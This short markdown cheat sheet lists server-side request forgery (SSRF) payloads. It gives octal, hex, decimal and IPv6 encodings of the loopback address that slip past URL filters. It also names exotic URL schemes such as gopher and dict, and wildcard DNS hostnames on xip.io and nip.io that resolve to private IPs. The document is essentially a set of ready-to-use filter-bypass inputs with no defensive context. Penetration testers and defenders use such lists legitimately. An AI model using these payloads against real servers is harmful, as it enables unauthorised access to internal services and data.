## SSRF

```
http://0177.1/
```

```
http://0x7f.1/
```

```
https://520968996
```

_Note:_ The latter can be calculated using http://www.subnetmask.info/

**Exotic Handlers**

```
gopher://, dict://, php://, jar://, tftp://
```

**IPv6**

```
http://[::1]
```

```
http://[::]
```

**Wildcard DNS**

```
10.0.0.1.xip.io
www.10.0.0.1.xip.io
mysite.10.0.0.1.xip.io
foo.bar.10.0.0.1.xip.io
```
_Link:_ http://xip.io

```
10.0.0.1.nip.io
app.10.0.0.1.nip.io
customer1.app.10.0.0.1.nip.io
customer2.app.10.0.0.1.nip.io
otherapp.10.0.0.1.nip.io
```

_Link:_ http://nip.io